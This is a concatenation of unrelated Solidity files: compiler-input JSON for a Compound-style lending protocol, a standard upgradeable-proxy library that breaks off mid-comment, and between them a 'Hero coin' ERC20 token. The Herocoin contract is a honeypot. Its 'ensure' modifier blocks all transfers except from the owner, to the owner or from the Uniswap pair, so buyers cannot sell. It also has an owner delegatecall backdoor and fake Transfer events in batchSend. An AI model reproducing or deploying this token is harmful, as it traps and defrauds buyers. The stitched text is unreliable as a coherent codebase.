"content": "pragma solidity ^0.7.4;\r\n\r\nimport \"./ControllerInterface.sol\";\r\nimport \"./InterestRateModel.sol\";\r\nimport \"./ProxyWithRegistry.sol\";\r\n\r\ncontract PTokenStorage is ProxyWithRegistryStorage {\r\n /**\r\n * @dev Guard variable for re-entrancy checks\r\n */\r\n bool internal _notEntered;\r\n\r\n /**\r\n * @notice EIP-20 token name for this token\r\n */\r\n string public name;\r\n\r\n /**\r\n * @notice EIP-20 token symbol for this token\r\n */\r\n string public symbol;\r\n\r\n /**\r\n * @notice EIP-20 token decimals for this token\r\n */\r\n uint8 public decimals;\r\n\r\n /**\r\n * @dev Maximum borrow rate that can ever be applied (.0005% / block)\r\n */\r\n\r\n uint internal constant borrowRateMaxMantissa = 0.0005e16;\r\n\r\n /**\r\n * @dev Maximum fraction of interest that can be set aside for reserves\r\n */\r\n uint internal constant reserveFactorMaxMantissa = 1e18;\r\n\r\n /**\r\n * @notice Contract which oversees inter-pToken operations\r\n */\r\n ControllerInterface public controller;\r\n\r\n /**\r\n * @notice Model which tells what the current interest rate should be\r\n */\r\n InterestRateModel public interestRateModel;\r\n\r\n /**\r\n * @dev Initial exchange rate used when minting the first PTokens (used when totalSupply = 0)\r\n */\r\n uint internal initialExchangeRateMantissa;\r\n\r\n /**\r\n * @notice Fraction of interest currently set aside for reserves\r\n */\r\n uint public reserveFactorMantissa;\r\n\r\n /**\r\n * @notice Block number that interest was last accrued at\r\n */\r\n uint public accrualBlockNumber;\r\n\r\n /**\r\n * @notice Accumulator of the total earned interest rate since the opening of the market\r\n */\r\n uint public borrowIndex;\r\n\r\n /**\r\n * @notice Total amount of outstanding borrows of the underlying in this market\r\n */\r\n uint public totalBorrows;\r\n\r\n /**\r\n * @notice Total amount of reserves of the underlying held in this market\r\n */\r\n uint public totalReserves;\r\n\r\n /**\r\n * @notice Total number of tokens in circulation\r\n */\r\n uint public totalSupply;\r\n\r\n /**\r\n * @dev Official record of token balances for each account\r\n */\r\n mapping (address => uint) internal accountTokens;\r\n\r\n /**\r\n * @dev Approved token transfer amounts on behalf of others\r\n */\r\n mapping (address => mapping (address => uint)) internal transferAllowances;\r\n\r\n /**\r\n * @notice Container for borrow balance information\r\n * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action\r\n * @member interestIndex Global borrowIndex as of the most recent balance-changing action\r\n */\r\n struct BorrowSnapshot {\r\n uint principal;\r\n uint interestIndex;\r\n }\r\n\r\n /**\r\n * @dev Mapping of account addresses to outstanding borrow balances\r\n */\r\n mapping(address => BorrowSnapshot) internal accountBorrows;\r\n}\r\n\r\nabstract contract PTokenInterface is PTokenStorage {\r\n /**\r\n * @notice Indicator that this is a PToken contract (for inspection)\r\n */\r\n bool public constant isPToken = true;\r\n\r\n\r\n /*** Market Events ***/\r\n\r\n /**\r\n * @notice Event emitted when interest is accrued\r\n */\r\n event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows, uint totalReserves);\r\n\r\n /**\r\n * @notice Event emitted when tokens are minted\r\n */\r\n event Mint(address minter, uint mintAmount, uint mintTokens);\r\n\r\n /**\r\n * @notice Event emitted when tokens are redeemed\r\n */\r\n event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);\r\n\r\n /**\r\n * @notice Event emitted when underlying is borrowed\r\n */\r\n event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);\r\n\r\n /**\r\n * @notice Event emitted when a borrow is repaid\r\n */\r\n event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);\r\n\r\n /**\r\n * @notice Event emitted when a borrow is liquidated\r\n */\r\n event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address pTokenCollateral, uint seizeTokens);\r\n\r\n\r\n /*** Admin Events ***/\r\n\r\n /**\r\n * @notice Event emitted when controller is changed\r\n */\r\n event NewController(ControllerInterface oldController, ControllerInterface newController);\r\n\r\n /**\r\n * @notice Event emitted when interestRateModel is changed\r\n */\r\n event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);\r\n\r\n /**\r\n * @notice Event emitted when the reserve factor is changed\r\n */\r\n event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);\r\n\r\n /**\r\n * @notice Event emitted when the reserves are added\r\n */\r\n event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);\r\n\r\n /**\r\n * @notice Event emitted when the reserves are reduced\r\n */\r\n event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);\r\n\r\n /**\r\n * @notice EIP20 Transfer event\r\n */\r\n event Transfer(address indexed from, address indexed to, uint amount);\r\n\r\n /**\r\n * @notice EIP20 Approval event\r\n */\r\n event Approval(address indexed owner, address indexed spender, uint amount);\r\n\r\n /*** User Interface ***/\r\n\r\n function transfer(address dst, uint amount) external virtual returns (bool);\r\n function transferFrom(address src, address dst, uint amount) external virtual returns (bool);\r\n function approve(address spender, uint amount) external virtual returns (bool);\r\n function allowance(address owner, address spender) external view virtual returns (uint);\r\n function balanceOf(address owner) external view virtual returns (uint);\r\n function balanceOfUnderlying(address owner) external virtual returns (uint);\r\n function getAccountSnapshot(address account) external view virtual returns (uint, uint, uint, uint);\r\n function borrowRatePerBlock() external view virtual returns (uint);\r\n function supplyRatePerBlock() external view virtual returns (uint);\r\n function totalBorrowsCurrent() external virtual returns (uint);\r\n function borrowBalanceCurrent(address account) external virtual returns (uint);\r\n function borrowBalanceStored(address account) public view virtual returns (uint);\r\n function exchangeRateCurrent() public virtual returns (uint);\r\n function exchangeRateStored() public view virtual returns (uint);\r\n function getCash() external view virtual returns (uint);\r\n function accrueInterest() public virtual returns (uint);\r\n function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint);\r\n\r\n /*** Admin Functions ***/\r\n\r\n function _setController(ControllerInterface newController) public virtual returns (uint);\r\n function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint);\r\n function _reduceReserves(uint reduceAmount) external virtual returns (uint);\r\n function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint);\r\n}\r\n\r\ncontract PErc20Storage {\r\n /**\r\n * @notice Underlying asset for this PToken\r\n */\r\n address public underlying;\r\n}\r\n\r\nabstract contract PErc20Interface is PErc20Storage {\r\n\r\n /*** User Interface ***/\r\n\r\n function mint(uint mintAmount) external virtual returns (uint);\r\n function redeem(uint redeemTokens) external virtual returns (uint);\r\n function redeemUnderlying(uint redeemAmount) external virtual returns (uint);\r\n function borrow(uint borrowAmount) external virtual returns (uint);\r\n function repayBorrow(uint repayAmount) external virtual returns (uint);\r\n function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint);\r\n function liquidateBorrow(address borrower, uint repayAmount, PTokenInterface pTokenCollateral) external virtual returns (uint);\r\n\r\n /*** Admin Functions ***/\r\n\r\n function _addReserves(uint addAmount) external virtual returns (uint);\r\n}\r\n\r\ncontract PPIEStorage {\r\n /// @notice A record of each accounts delegate\r\n mapping (address => address) public delegates;\r\n\r\n /// @notice A checkpoint for marking number of votes from a given block\r\n struct Checkpoint {\r\n uint32 fromBlock;\r\n uint96 votes;\r\n }\r\n\r\n /// @notice A record of votes checkpoints for each account, by index\r\n mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;\r\n\r\n /// @notice The number of checkpoints for each account\r\n mapping (address => uint32) public numCheckpoints;\r\n\r\n /// @notice The EIP-712 typehash for the contract's domain\r\n bytes32 public constant DOMAIN_TYPEHASH = keccak256(\"EIP712Domain(string name,uint256 chainId,address verifyingContract)\");\r\n\r\n /// @notice The EIP-712 typehash for the delegation struct used by the contract\r\n bytes32 public constant DELEGATION_TYPEHASH = keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\r\n\r\n /// @notice A record of states for signing / validating signatures\r\n mapping (address => uint) public nonces;\r\n}\r\n\r\nabstract contract PPIEInterface is PPIEStorage {\r\n /// @notice An event thats emitted when an account changes its delegate\r\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\r\n\r\n /// @notice An event thats emitted when a delegate account's vote balance changes\r\n event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);\r\n\r\n function delegate(address delegatee) external virtual;\r\n function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external virtual;\r\n function getCurrentVotes(address account) external view virtual returns (uint96);\r\n function getPriorVotes(address account, uint blockNumber) external view virtual returns (uint96);\r\n}",
"keccak256": "0x36f635640f4319082a79e98de8ac6eba5e190056176c3a87015c23c20ec94f1a"
},
"contracts/PriceOracle.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\nabstract contract PriceOracle {\r\n /// @notice Indicator that this is a PriceOracle contract (for inspection)\r\n bool public constant isPriceOracle = true;\r\n\r\n event PriceUpdated(address asset, uint price);\r\n\r\n /**\r\n * @notice Get the underlying price of a pToken asset\r\n * @param pToken The pToken to get the underlying price of\r\n * @return The underlying asset price mantissa (scaled by 1e18).\r\n * Zero means the price is unavailable.\r\n */\r\n function getUnderlyingPrice(address pToken) external view virtual returns (uint);\r\n\r\n function updateUnderlyingPrice(address pToken) external virtual returns (uint);\r\n}",
"keccak256": "0x9819a9a63bfc68ed841974b5da2f0ee27ae4baae87670fb99188a33186f35404"
},
"contracts/ProxyWithRegistry.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\nimport \"./RegistryInterface.sol\";\r\n\r\ncontract ProxyWithRegistryStorage {\r\n\r\n /**\r\n * @notice Address of the registry contract\r\n */\r\n address public registry;\r\n}\r\n\r\nabstract contract ProxyWithRegistryInterface is ProxyWithRegistryStorage {\r\n function _setRegistry(address _registry) internal virtual;\r\n function _pTokenImplementation() internal view virtual returns (address);\r\n}\r\n\r\ncontract ProxyWithRegistry is ProxyWithRegistryInterface {\r\n /**\r\n * Returns actual address of the implementation contract from current registry\r\n * @return registry Address of the registry\r\n */\r\n function _pTokenImplementation() internal view override returns (address) {\r\n return RegistryInterface(registry).pTokenImplementation();\r\n }\r\n\r\n function _setRegistry(address _registry) internal override {\r\n registry = _registry;\r\n }\r\n}\r\n\r\ncontract ImplementationStorage {\r\n\r\n address public implementation;\r\n\r\n function _setImplementation(address implementation_) internal {\r\n implementation = implementation_;\r\n }\r\n}",
"keccak256": "0xbca7f4ac024754179b7448e1a6d76ad3c029c1544e0c128e1d5000eea7f30b8a"
},
"contracts/RegistryInterface.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\ninterface RegistryInterface {\r\n\r\n /**\r\n * Returns admin address for cToken contracts\r\n * @return admin address\r\n */\r\n function admin() external view returns (address payable);\r\n\r\n /**\r\n * Returns address of actual PToken implementation contract\r\n * @return Address of contract\r\n */\r\n function pTokenImplementation() external view returns (address);\r\n\r\n function addPToken(address underlying, address pToken) external returns(uint);\r\n function addPETH(address pETH_) external returns(uint);\r\n function addPPIE(address pPIE_) external returns(uint);\r\n}\r\n",
"keccak256": "0x445e9bfc9f8cbd6c5c9107048c1e78fe646636826696aefbba726911afe7fb87"
},
"contracts/Unitroller.sol": {
"content": "pragma solidity ^0.7.4;\r\n\r\nimport \"./ErrorReporter.sol\";\r\nimport \"./ControllerStorage.sol\";\r\n/**\r\n * @title ControllerCore\r\n * @dev Storage for the controller is at this address, while execution is delegated to the `controllerImplementation`.\r\n * PTokens should reference this contract as their controller.\r\n */\r\ncontract Unitroller is UnitrollerAdminStorage, ControllerErrorReporter {\r\n\r\n /**\r\n * @notice Emitted when pendingControllerImplementation is changed\r\n */\r\n event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);\r\n\r\n /**\r\n * @notice Emitted when pendingControllerImplementation is accepted, which means controller implementation is updated\r\n */\r\n event NewImplementation(address oldImplementation, address newImplementation);\r\n\r\n /**\r\n * @notice Emitted when pendingAdmin is changed\r\n */\r\n event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);\r\n\r\n /**\r\n * @notice Emitted when pendingAdmin is accepted, which means admin is updated\r\n */\r\n event NewAdmin(address oldAdmin, address newAdmin);\r\n\r\n constructor() {\r\n // Set admin to caller\r\n admin = msg.sender;\r\n }\r\n\r\n /*** Admin Functions ***/\r\n function _setPendingImplementation(address newPendingImplementation) public returns (uint) {\r\n\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);\r\n }\r\n\r\n address oldPendingImplementation = pendingControllerImplementation;\r\n\r\n pendingControllerImplementation = newPendingImplementation;\r\n\r\n emit NewPendingImplementation(oldPendingImplementation, pendingControllerImplementation);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Accepts new implementation of controller. msg.sender must be pendingImplementation\r\n * @dev Admin function for new implementation to accept it's role as implementation\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _acceptImplementation() public returns (uint) {\r\n // Check caller is pendingImplementation and pendingImplementation ≠ address(0)\r\n if (msg.sender != pendingControllerImplementation || pendingControllerImplementation == address(0)) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);\r\n }\r\n\r\n // Save current values for inclusion in log\r\n address oldImplementation = controllerImplementation;\r\n address oldPendingImplementation = pendingControllerImplementation;\r\n\r\n controllerImplementation = pendingControllerImplementation;\r\n\r\n pendingControllerImplementation = address(0);\r\n\r\n emit NewImplementation(oldImplementation, controllerImplementation);\r\n emit NewPendingImplementation(oldPendingImplementation, pendingControllerImplementation);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n\r\n /**\r\n * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\r\n * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.\r\n * @param newPendingAdmin New pending admin.\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _setPendingAdmin(address newPendingAdmin) public returns (uint) {\r\n // Check caller = admin\r\n if (msg.sender != admin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);\r\n }\r\n\r\n // Save current value, if any, for inclusion in log\r\n address oldPendingAdmin = pendingAdmin;\r\n\r\n // Store pendingAdmin with value newPendingAdmin\r\n pendingAdmin = newPendingAdmin;\r\n\r\n // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)\r\n emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin\r\n * @dev Admin function for pending admin to accept role and update admin\r\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\r\n */\r\n function _acceptAdmin() public returns (uint) {\r\n // Check caller is pendingAdmin\r\n if (msg.sender != pendingAdmin) {\r\n return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);\r\n }\r\n\r\n // Save current values for inclusion in log\r\n address oldAdmin = admin;\r\n address oldPendingAdmin = pendingAdmin;\r\n\r\n // Store admin with value pendingAdmin\r\n admin = pendingAdmin;\r\n\r\n // Clear the pending value\r\n pendingAdmin = address(0);\r\n\r\n emit NewAdmin(oldAdmin, admin);\r\n emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);\r\n\r\n return uint(Error.NO_ERROR);\r\n }\r\n\r\n /**\r\n * @dev Delegates execution to an implementation contract.\r\n * It returns to the external caller whatever the implementation returns\r\n * or forwards reverts.\r\n */\r\n fallback() payable external {\r\n // delegate all other functions to current implementation\r\n (bool success, ) = controllerImplementation.delegatecall(msg.data);\r\n\r\n assembly {\r\n let free_mem_ptr := mload(0x40)\r\n returndatacopy(free_mem_ptr, 0, returndatasize())\r\n\r\n switch success\r\n case 0 { revert(free_mem_ptr, returndatasize()) }\r\n default { return(free_mem_ptr, returndatasize()) }\r\n }\r\n }\r\n}",
"keccak256": "0x6c2c3b6829a8ec1f7134d815e68123e89e091732806a04c259082895e8db146a"
}
}
}}
|
DC1
|
pragma solidity ^0.5.17;
/*
Hero coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Herocoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// File: contracts/libs/Proxy.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: contracts/libs/Address.sol
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
// File: contracts/libs/BaseUpgradeabilityProxy.sol
pragma solidity 0.6.12;
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32
internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
'Cannot set a proxy implementation to a non-contract address'
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/libs/UpgradeabilityProxy.sol
pragma solidity 0.6.12;
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
// File: contracts/libs/BaseAdminUpgradeabilityProxy.sol
pragma solidity 0.6.12;
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
